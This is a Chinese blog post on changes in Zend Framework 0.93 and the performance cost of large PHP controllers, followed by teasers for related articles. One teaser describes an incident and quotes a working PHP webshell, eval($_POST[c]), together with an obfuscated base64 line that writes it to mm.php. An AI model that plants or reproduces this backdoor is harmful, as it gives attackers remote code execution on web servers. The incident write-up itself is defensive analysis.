ZF等常用php框架中存在的问题

从Zend Framework v0.13版本开始,我就开始学习使用Zend Framework。当时公司的一个项目也恰好用到了Zend Framework。到了0.6的版本之后就再没有关注细节了。前些日子听说Zend 公司将在5月份正式推出Zend Framework,今天特意叫同学下载下来测试。

最新版本是0.93的,测试发现Zf框架越来越傻瓜式了。很多东西都直接封装在ZF的library里面。你只要知道如何调用就OK拉。和之前的版本详细的确有比较大的变化,也增加了比较多功能。
  首先,Zend.php不见了,取而代之的是一个Zend_load类,放在load.php里面。
  第二、库类的加载更加方便了。之前的ZF要在子目录下使用是比较麻烦的。现在可以直接在子目录下使用,而且现在也可以不通过mod_rewrite来使用,可以通过http://path/to/site/controller/action来访问,类似我在《回答PHPCHINA上的几个问题:URL映射 》谈到的URL映射。
  第三、把试图直接集成到了Controller里面,方便调用。不过有个不好的地方就是要按照ZF的要求来规范程序的目录结构。
  另外还增加了很多功能,比如说访问控制等等。总之,变化很大。今天晚上我也只是大概的看了下。

对于ZF,cakephp等等框架,我觉得大家在学习的时候最好能明白框架的基本原理,所谓“万变不离其中”。框架本身就是很简单,完全没有ZF等之类这样复杂,它们只是把细节处理很完善,同时要做到通用,规范、功能强大,所以就复杂了。关于框架的基本原理,我推荐大家上phpit.net上看一篇文章,关于如何使用PHP5搭建一个简单的MVC框架的(在喜悦国际村上有翻译),或者可以看看我的几篇文章《PHP实现MVC开发得最简单的方法》系列文章。

之前在chinaunix上有一个帖子,讨论在PHP项目中使用对象和过程的优势和不足,讨论的非常不错。有支持对象的,也有认为非对象的开发更加符合WEB开发的特点,有更好的性能。
  我个人是非常支持对象式开发的,尤其在PHP5环境中(因为PHP5的对象和PHP4的对象完全不是一回事,这个看看Zend 引擎就知道了)。但是帖子中说到的几点也很有道理:比如“OOP的形式却无故要装入很多无关的函数”。WEB开发是非常强调性能的,而PHP是一种解释性语言,如果include过多的代码是很影响性能的。这个问题在Zend Framework,CackePHP,Fleaphp和我的框架PHPbean中都存在。

比如说一个indexController,这里使用Zend Framework做例子。代码如下:

<? 
class indexController extends Zend_Controller_Action {

function init(){ 
        $this->initView(); 
    }

function indexAction(){ 
        //echo 'index/index'; 
        $this->view->title='hello World!'; 
        $this->render(); 
    }

function testAction(){ 
        echo 'index/test'; 
    }

function showAction(){ 
        echo 'index/show'; 
    } 

?>

比如说我们访问index/index,那么testAction()和ShowAction()方法的内容就完全是多余的。在实际开发中按照这种思路,一般是一个功能模块对应一个controller,比如说用户就对应一个userController,然后里面有登录、退出、注册、列表、详细显示等等多种方法。当一个项目一大的时候一个controller可能就几K到十几K。那这样的模式就非常的不好。

在JAVA的struts中,就采用了完全不同的方式,他是一个action对应一个文件。我觉得这是一个很好的参考方法。

我觉得PHP5的话,使用面对对象更加何时。可以说面对过程能实现的,面对对象都能实现,而且可以实现的更好。但重要的一点是:采用面对对象的思维来使用面对对象,而不是用面对过程的思维来写面对对象的程序!

(0)

相关推荐

  • PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

    今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代码如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") /

  • PHP CURL模拟登录新浪微博抓取页面内容 基于EaglePHP框架开发

    复制代码 代码如下: /** * CURL请求 * @param String $url 请求地址 * @param Array $data 请求数据 */ function curlRequest($url,$data='',$cookieFile=''){ $ch = curl_init(); $option = array( CURLOPT_URL => $url, CURLOPT_HEADER =>0, CURLOPT_RETURNTRANSFER => 1, ); if($co

  • 国外十大最流行的PHP框架排名

    以下为十个目前最流行的基于MVC设计模式的PHP框架. 1. Yii Yii是一个基于组件的高性能的PHP的框架,用于开发大规模Web应用.Yii采用严格的OOP编写,并有着完善的库引用以及全面的教程.从MVC,DAO/ActiveRecord,widgets,caching,等级式RBAC,Web服务,到主体化,I18N和L10N,Yii提供了今日Web 2.0应用开发所需要的几乎一切功能.而且这个框架的价格也并不太高.事实上,Yii是最有效率的PHP框架之一. 2. CodeIgniter

  • 常用PHP框架功能对照表

    本文讲述了常用PHP框架功能的对照表,对于进行PHP框架程序开发来说具有一定的实用价值.分享给大家供大家参考.具体分析如下: 自接触PHP开发以来,已使用了不少框架,虽然对每个框架都没有专研至深,但对每一款所使用的PHP框架功能都有一些了解的.至此,本人将大家常用的一些PHP框架功能整理成表,希望对大家在选择PHP框架时,可以做一定的参考. 表中的几项属性含义如下: MVC:表明框架是否附带Model-View-Controller 设置的内置支持: Multiple DB's: 表明框架是否支

  • 20个2014年最优秀的PHP框架回顾

    对于Web开发者来说,PHP是一款非常强大而又受欢迎的编程语言.世界上很多顶级的网站都是基于PHP开发的.本文我们就来回顾一下20个2014年最优秀的PHP框架. 每一个开发者都知道,拥有一个强大的框架可以让开发工作变得更加快捷.安全和有效.在开发项目之前选择一款合适的框架可以为今后奠定厚实的基础,下面这20个PHP框架你可以有选择的使用,一定会帮助到你的. 1.Laravel Laravel是一款免费并且开源的PHP应用框架,它是为开发基于MVC的WEB应用而设计的,个人觉得,Laravel是

  • 主流PHP框架的优缺点对比分析

    PHP是一种在国内外都比较流行的开源服务器端脚本开发语言.能够适应大中小型项目的开发需求.我们将在这篇文章中向大家介绍几款主流PHP框架及其相关优缺点评比,作为一个参考分享给朋友们. 主要参考的PHP框架包括:CodeIgniter.CakePHP.ZendFramework.Symfony.我对很多框架也没有认真使用,只是简单试用了一下,可能很多看法不成熟或者是错误的,请大家指正,一起成长. CodeIgniter 优点: 1. 配置简单,全部的配置使用PHP脚本来配置,执行效率高:具有基本的

  • 为什么使用框架 使用框架的优缺点

    正文开始 我们是由于效率和易用性的考虑才产生框架.框架能节省开发时间.框架强制使用公共的约定,因此它能有效地解决一些共有的问题,比如页面渲染,assert判断,安全或者应用配置等.这些共有的问题有个共通的特性是会在每个web应用上都用到. 框架是非常好的,它能让决定更连贯.框架能避免我们写一大堆自定义模块来实现这些性能,我们所需要做的就是将这些共用模块放在框架中实现.框架节省了我们不少的时间和精力,并且让扩展变得更容易.但是这也是问题的根本所在. 由于框架能在我们做代码决策的时候提供很多的帮助,

  • ZF等常用php框架中存在的问题

    从Zend Framework v0.13版本开始,我就开始学习使用Zend Framework.当时公司的一个项目也恰好用到了Zend Framework.到了0.6的版本之后就再没有关注细节了.前些日子听说Zend 公司将在5月份正式推出Zend Framework,今天特意叫同学下载下来测试. 最新版本是0.93的,测试发现Zf框架越来越傻瓜式了.很多东西都直接封装在ZF的library里面.你只要知道如何调用就OK拉.和之前的版本详细的确有比较大的变化,也增加了比较多功能.   首先,Z

  • 关于laravel框架中的常用目录路径函数

    简介 1.app目录的绝对路径$path = app_path();->还可以使用app_path函数为相对于app目录的给定文件生成绝对路径:$path = app_path('Http/Controllers/Controller.php'); 2.项目根目录的绝对路径$path = base_path();->还可以使用base_path函数为相对于应用目录的给定文件生成绝对路径$path& 1.app目录的绝对路径 $path = app_path(); ->还可以使用a

  • 分享unittest单元测试框架中几种常用的用例加载方法

    unittest模块是Python自带的一个单元测试模块,我们可以用来做单元测试.unittest模块包含了如下几个子模块: 测试用例:TestCase 测试集:TestSuite 加载用例:TestLoader 执行用例:TextTestRunner 首先编写一个简单的加减乘除数学方法类: class MathCalculate: ''' 加减乘除的计算类 ''' def __init__(self, first_num, second_num): self.first_num = first

  • Zend Framework框架中实现Ajax的方法示例

    本文实例讲述了Zend Framework框架中实现Ajax的方法.分享给大家供大家参考,具体如下: 开发平台:Windows XP SP2 测试平台:FreeBSD 7.0 开发工具:Netbeans 6.1 使用框架:Zend Framework 1.5.2 数据库: MySQL 5.0.51a 所需的数据库表和ZF相关目录以及文件: 一.表: mysql> select * from news; +----+-------+---------------------+ | id | tit

  • Yii2框架中日志的使用方法分析

    本文实例讲述了Yii2框架中日志的使用方法.分享给大家供大家参考,具体如下: Yii2和Yii1.x的区别 Yii2里面日志的使用方法和Yii 1.x并不相同, 在Yii 1.x中,记录日志的方法为 Yii::log($message, $level, $category); Yii::trace($message, $category); 后者仅在调试模式下记录日志. 这里的log方法是YiiBase的静态方法. 在Yii2中,面向对象的设计贯彻得更加彻底,日志记录功能被转移到Logger类中

  • YII框架中使用memcache的方法详解

    本文实例讲述了YII框架中使用memcache的方法.分享给大家供大家参考,具体如下: yii中可以很方便的使用memcache 一.配置 在main.php的components中加入cache配置 array( 'components'=>array( 'cache'=>array( 'class'=>'CMemCache', 'servers'=>array( array( 'host'=>'server1', 'port'=>11211, 'weight'=&g

  • Yii框架中jquery表单验证插件用法示例

    本文实例讲述了Yii框架中jquery表单验证插件用法.分享给大家供大家参考,具体如下: 运行效果图如下: 视图层: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm

  • Python的Flask框架中的Jinja2模板引擎学习教程

    Flask的模板功能是基于Jinja2模板引擎来实现的.模板文件存放在当前目前下的子目录templates(一定要使用这个名字)下. main.py 代码如下: from flask import Flask, render_template app = Flask(__name__) @app.route('/hello') @app.route('/hello/<name>') def hello(name=None): return render_template('hello.html

  • 基于.NET平台常用的框架和开源程序整理

    自从学习.NET以来,优雅的编程风格,极度简单的可扩展性,足够强大开发工具,极小的学习曲线,让我对这个平台产生了浓厚的兴趣,在工作和学习中也积累了一些开源的组件,就目前想到的先整理于此,如果再想到,就继续补充这篇日志,日积月累,就能形成一个自己的组件经验库. 分布式缓存框架: Microsoft Velocity:微软自家分布式缓存服务框架. Memcahed:一套分布式的高速缓存系统,目前被许多网站使用以提升网站的访问速度. Redis:是一个高性能的KV数据库. 它的出现很大程度补偿了Mem

  • CI框架中redis缓存相关操作文件示例代码

    本文实例讲述了CI框架中redis缓存相关操作文件.分享给大家供大家参考,具体如下: redis缓存类文件位置: 'ci\system\libraries\Cache\drivers\Cache_redis.php' <?php /** * CodeIgniter * * An open source application development framework for PHP 5.2.4 or newer * * NOTICE OF LICENSE * * Licensed under

随机推荐